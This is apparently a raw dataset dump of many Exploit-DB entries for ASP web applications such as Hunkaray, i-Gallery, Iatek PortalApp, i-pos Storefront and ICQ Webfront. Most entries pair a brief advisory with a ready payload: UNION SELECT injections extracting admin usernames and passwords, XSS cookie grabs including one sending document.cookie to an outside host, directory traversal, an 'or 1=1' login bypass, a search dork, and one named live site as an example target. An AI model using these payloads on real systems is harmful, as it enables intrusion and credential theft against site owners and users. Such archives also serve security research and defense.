deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3241
Description: Hunkaray Duyuru Scripti - 'tr' SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-31
Author: cl24zy

Exploit:
###############################################################
#Hunkaray Duyuru Scripti (tr)  == SQL Injection Vulnerability
#Author : cl24zy - DrEgHoT - TuF4N
#Site : www.hacklive.org , www.illegal-attack.org
#Contact: admin@hacklive.org
###############################################################
#Download Hünkaray Duyuru Scripti (tr) : http://www.aspindir.com/Goster/4678
#Demo : http://b.1asphost.com/hunkaray/duyuru

#Exploit;
#Admin Nick, Passport;
http://[SITE]/oku.asp?id=-1%20union+all+select+0,kullaniciadi,sifre,3+from+admin

#Greetz: iLLeGaL-ATTaCK//TiM & HacKLivETeaM
################################################################

# milw0rm.com [2007-01-31]
Exploit-DB #30446
Description: Hunkaray Okul Portali 1.1 - 'Duyuruoku.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-08-02
Author: Yollubunlar.Org

Exploit:
source: https://www.securityfocus.com/bid/25185/info

Hunkaray Okul Portali is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Hunkaray Okul Portali 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/script_path/duyuruoku.asp?id=1+union+select+0,1,sifre,3+from+admin
Exploit-DB #30141
Description: Hunkaray Okul Portaly 1.1 - 'Haberoku.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-06-04
Author: ertuqrul

Exploit:
source: https://www.securityfocus.com/bid/24288/info

HÃ¼nkaray Okul PortalÃ½ is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

HÃ¼nkaray Okul PortalÃ½ 1.1 is vulnerable to this issue.

http://www.example.com/okul/haberoku.asp?id=11%20union+select+0,sifre,kullaniciadi,3,4+from+admin
Exploit-DB #30316
Description: husrevforum 1.0.1/2.0.1 - 'Philboard_forum.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-07-17
Author: GeFORC3

Exploit:
source: https://www.securityfocus.com/bid/24928/info

The 'husrevforum' program is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

This issue affects husrevforum v 1.0.1 (tr); other versions may be affected as well. 

http://www.example.com//script_path/philboard_forum.asp?forumid=-1+union+all+select+0,1,2,3,4,5,6,7,8,9,password,username,12,13,14,15,16,17,18,19,20+from+users
Exploit-DB #25855
Description: I-Gallery - Folder Argument Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-06-20
Author: Seyed Hamid Kashfi

Exploit:
source: https://www.securityfocus.com/bid/14002/info

i-Gallery is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'folder' parameter of 'folderview.asp'.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. 

http://www.example.com/gallery/folderview.asp?folder=<script>alert(document.cookie)</script>
Exploit-DB #25853
Description: I-Gallery - Folder Argument Directory Traversal
Type: webapps
Platform: asp
Date: 2005-06-20
Author: Seyed Hamid Kashfi

Exploit:
source: https://www.securityfocus.com/bid/14000/info

i-Gallery is prone to a directory traversal vulnerability.

This could let remote attackers access files on the computer in the context of the Web server process. 

http://www.example.com/gallery/folderview.asp?folder=Sport+Champions/../../../../../../../../winnt/repair
Exploit-DB #14284
Description: i-Gallery - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-07-08
Author: SONIC

Exploit:
==============================================================
i-Gallery --Multiple Vulnerability
==============================================================


Name : i-Gallery --Multiple Vulnerability
Date : july 9,2010
Critical Level     :VERY HIGH
vendor URL :   http://www.b-cp.com


Author : ..::[ SONiC ]::.. aka ~the_pshyco~ <sonicdefence[at]gmail.com>

special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,Bunny,Nishi,MA1201,RJ,D3aD F0x

greetz to :www.topsecure.net ,All ICW members , iNj3cT0r.com, www.andhrahackers.com

special Shoutz : my Girl Frnd [H*****] 
###################################
I'm SONiC member from Inj3ct0r Team
################################### 

Description:

i-Gallery is a complete online photo gallery. Easy to navigate thumbnails with paging. Enlarged views offer print & email buttons. Secured backend features: create/delete folders, upload/delete images, add descriptions, move images, and much more.

#######################################################################################################
Xploit :Arbitrary File Include  Vulnerabilty 

DEMO URL  http://www.site.com/igallery34/viewphoto.asp?i=[file include]&f=fghd&sh=27768&sw=1024

Xploit :Persistent XSS Vulnerabilty 

DEMO URL  http://www.site.com/igallery34/submitphotos.asp?mi=1



###############################################################################################################

# ..::[ SONiC ]::.. aka the_pshyco
Exploit-DB #36146
Description: i-Gallery 3.4 - 'd' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2011-09-21
Author: Kurd-Team

Exploit:
source: https://www.securityfocus.com/bid/49712/info

i-Gallery is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker could leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks.

i-Gallery 3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/igallery.asp?d="><script>alert('kurd-team')</script>
Exploit-DB #29048
Description: i-Gallery 3.4 - 'igallery.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-11-16
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21122/info

The i-gallery application is prone to multiple-input validation vulnerabilities, including multiple cross-site scripting vulnerabilities and an HTML-injection issue, because the software fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

This issue affects i-gallery 3.4 and prior versions.

http://target/path/igallery.asp?n=[XSS]
http://target/path/igallery.asp&d=[XSS]
Exploit-DB #30743
Description: i-Gallery 3.4 - 'igallery.asp' Remote Information Disclosure
Type: webapps
Platform: asp
Date: 2007-11-05
Author: hackerbinhphuoc

Exploit:
source: https://www.securityfocus.com/bid/26348/info

i-Gallery is prone to a remote information-disclosure vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized remote user to view arbitrary local files in the context of the webserver process. Information obtained may aid in further attacks.

i-Gallery 3.4 is vulnerable to this issue; other versions may also be vulnerable. 

http://www.example.com/gallery/igallery.asp?d=%5c../../%5c
Exploit-DB #34936
Description: i-Gallery 3.4/4.1 - 'streamfile.asp' Multiple Directory Traversal Vulnerabilities
Type: webapps
Platform: asp
Date: 2009-06-03
Author: Stefano Angaran

Exploit:
source: https://www.securityfocus.com/bid/44467/info

i-Gallery is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Remote attackers can use a specially crafted request with directory-traversal sequences ('../') to download and read arbitrary files in the context of the webserver. Information harvested may aid in launching further attacks.

i-Gallery 3.4 and 4.1 are vulnerable; other versions may also be affected.

http://www.example.com/igallery41/streamfile.asp?i=./../../../index.asp&f=subdir
Exploit-DB #5717
Description: I-Pos Internet Pay Online Store 1.3 Beta - SQL Injection
Type: webapps
Platform: asp
Date: 2008-06-01
Author: KnocKout

Exploit:
[+] Title : I-Pos Internet Pay Online Store v1.3 Beta <= Remote SQL Injection Vulnerability

==========================================================================================

[+] Author : KnocKout
[+] Special ThanX : Dr.Kacak & Cr@zy-King and CW ALL USERS . . .
[+] Cyber-Warrior.Org

===========================================================================================

S. Name : I-Pos Internet Pay Online Store
Version : 1.3 Beta
Download : http://www.asprehberi.net/Indir.asp?IcerikID=1812&SessionID=358055325
Dork : "Powered by i-pos Storefront"

Attackz;

Http://Localsite.com/path/index.asp?item=[SQL Injection]

Example Attack: http://localsite.com/path/index.asp?item=-50+union+select+0,adminid,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+settings
Example Site: www.keysquality.com/index.asp?item=-50+union+select+0,adminid,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+settings

######################################################################################################

# milw0rm.com [2008-06-01]
Exploit-DB #31869
Description: i-pos StoreFront 1.3 - 'index.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-06-02
Author: KnocKout

Exploit:
source: https://www.securityfocus.com/bid/29471/info

i-pos Storefront is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

i-pos Storefront 1.3 Beta is vulnerable; other versions may also be affected. 

http://www.example.com/path/index.asp?item=-50+union+select+0,adminid,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+settings
Exploit-DB #25318
Description: Iatek IntranetApp 2.3 - 'ad_click.asp?banner_id' SQL Injection
Type: webapps
Platform: asp
Date: 2005-03-29
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/12936/info

Multiple input-validation vulnerabilities reportedly affect PortalApp. These issues occur due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.

The first set of issues includes cross-site scripting vulnerabilities that affect the 'content.asp' script. These issues arise because the application fails to properly sanitize input passed through the offending functions before including it in dynamically generated Web content.

The second issue is an SQL-injection vulnerability that affects the 'ad_click.asp' script. The application includes the value of the offending parameters without sanitization, allowing an attacker to inject SQL syntax and manipulate SQL queries.

An attacker may leverage these issues to carry out cross-site scripting and SQL-injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.

http://www.example.com/ad_click.asp?banner_id='SQL_INJECTION
Exploit-DB #31463
Description: Iatek Knowledge Base - 'content_by_cat.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-03-20
Author: xcorpitx

Exploit:
source: https://www.securityfocus.com/bid/28376/info

Iatek Knowledge Base is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/content_by_cat.asp?contentid=99999999&catid=-99887766+UNION+SELECT+0,null,password,3,accesslevel,5,null,7,null,user_name+from+users

http://www.example.com/content_by_cat.asp?contentid=-99999999&catid=-99887766+union+select+0,null,password,3,accesslevel,5,null,7,8,user_name+from+users
Exploit-DB #34221
Description: Iatek PortalApp 3.3/4.0 - 'login.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-06-29
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41224/info

Iatek PortalApp is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Iatek PortalApp 4.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/login.asp?user_name=%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&password=&ret_page=

http://www.example.com/login.asp?user_name=&[CREDENTIAL_REDACTED].cookie%29%3C/script%3E&ret_page=

http://www.example.com/login.asp?email=sd%40sd.df%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&search_btn=SEND&action=lookup&do_search=1
Exploit-DB #31442
Description: Iatek PortalApp 4.0 - 'links.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-03-19
Author: xcorpitx

Exploit:
source: https://www.securityfocus.com/bid/28315/info

PortalApp is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/path/links.asp?CatId=-99999%20UNION%20SELECT%20null,accesslevel,null,null,user_name,%205%20,password,null%20FROM%20Users
Exploit-DB #33728
Description: IBM ENOVIA SmarTeam - 'LoginPage.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-03-09
Author: Lament

Exploit:
source: https://www.securityfocus.com/bid/38612/info

IBM ENOVIA SmarTeam is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/WebEditor/Authentication/LoginPage.aspx?ReturnUrl=%2fWebEditor%2fDefault.aspx&errMsg=User+is+locked.+Too+many+logon+attempts."><script>alert(&#039;XSS-By-Lament&#039;)</script>
Exploit-DB #30165
Description: Ibrahim Ã?AKICI - 'Okul Portal Haber_Oku.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-06-08
Author: ertuqrul

Exploit:
source: https://www.securityfocus.com/bid/24379/info

Ibrahim Ã?AKICI Okul Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

Ibrahim Ã?AKICI Okul Portal 2.0 is vulnerable to this issue. 

http://www.example.com/haber_oku.asp?id=9%20union+select+0,sifre,kulladi,3,4,5,6+from+uyeler
Exploit-DB #42690
Description: ICAffiliateTracking 1.1 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Affiliate Tracking Script 1.1 - Authentication Bypass
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/affiliates-tracking-script.htm
# Demo: http://www.icloudcenter.com/demos/icaffiliatetracking/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/icaffiliatetracking/adminlogin.asp
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
Exploit-DB #2287
Description: icblogger 2.0 - 'YID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-09-01
Author: Chironex Fleckeri

Exploit:
################################################################################
##                                                                            ##
##  Icblogger <= "YID" Remote Blind SQL Injection                             ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##  Credit by        |  Chironex Fleckeri                                     ##
##  Mail             |  ChironeX.FleckeriX@Gmail.Com                          ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##                                                                            ##
################################################################################

##########################################################################################################################################################################
#Usage : http://www.target.com/path/devam.asp?YID=-1 UNION SELECT null,null,null,null,null,editor_adi,null,editor_sifre,editor_mail,null FROM editor WHERE editor_id = 1 #
##########################################################################################################################################################################

#############################################################
#Admin Panel : http://www.target.com/path/admin/default.asp #
#############################################################

# milw0rm.com [2006-09-01]
Exploit-DB #18566
Description: Iciniti Store - SQL Injection
Type: webapps
Platform: asp
Date: 2012-03-07
Author: Sense of Security

Exploit:
Sense of Security - Security Advisory - SOS-12-003
Release Date.                   06-Mar-2012
Last Update.                    -
Vendor Notification Date.       28-Jul-2011
Product.                        Iciniti Store
Platform.                       Windows
Affected versions.              4.3.3683.31484 verified, and possibly 
                                others
Severity Rating.                High
Impact.                         Manipulation of data
Attack Vector.                  Remote without authentication
Solution Status.                Update is available by contacting 
                                Iciniti
CVE reference.                  CVE - not yet assigned

Details.
Iciniti Store is a web application providing e-commerce and payment 
solutions. The application suffers from a SQL injection vulnerability 
in logon_forgot_password.aspx. It fails to validate data supplied in 
the 'ctlEmail' variable before being used in an SQL query.

Proof of Concept.
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action=" http://x.x.x.x/logon_forgot_password.aspx" name="form" 
method="POST">
<input type="text" name="ctlEmail" value="SELECT @@VERSION">
<input type="text" name="btnSubmit" value="Submit"> 
</form>
</body>
</html>

Solution.
Update is available by contacting Iciniti.

Discovered by.
Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and 
risk management solutions. Our team has expert skills in assessment
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration 
testing firm and trusted IT security advisor to many of the country's
largest organisations.

Sense of Security Pty Ltd 
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-12-003.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php
Exploit-DB #13790
Description: iClone - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-09
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : iClone SQLi Vulnerability
Date : june, 9 2010
Vendor url :http://www.reallusion.com/iclone/
Platform: Windows
Price:$199
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members.

###############################################################################################################
Description:

Real-time animation evolves with 3D Video FX, motion paths, HDR and rapid drag & drop creation inside iClone4. iClone4 introduces new features that combine video production with 3D real-time animation. The result is a powerful production tool for motion graphics, 3D animation and video compositing.
###############################################################################################################

Xploit: SQLi Vulnerability

DEMO  URL:

  http://site.com/reallusiontv/ic/productdemo.asp?page=[SQLi]


###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #23120
Description: ICQ 2003 - Webfront Guestbook Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2003-09-08
Author: Donnie Werner

Exploit:
source: https://www.securityfocus.com/bid/8563/info

It has been reported that ICQ Webfront is prone to a cross-site scripting vulnerability in the message field of the guestbook module. This issue is caused by improper sanitization of user-supplied data.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials from a user. Other attacks are possible as well.

<object style="display:none" data="http://www.example.com/bad.asp"></object>
<SCRIPT>location.href="http://www.example.com/xss.cgi?ref="+document.URL+"cookie="+document.cookie;</script>
<iframe src="http://www.example.com"></iframe>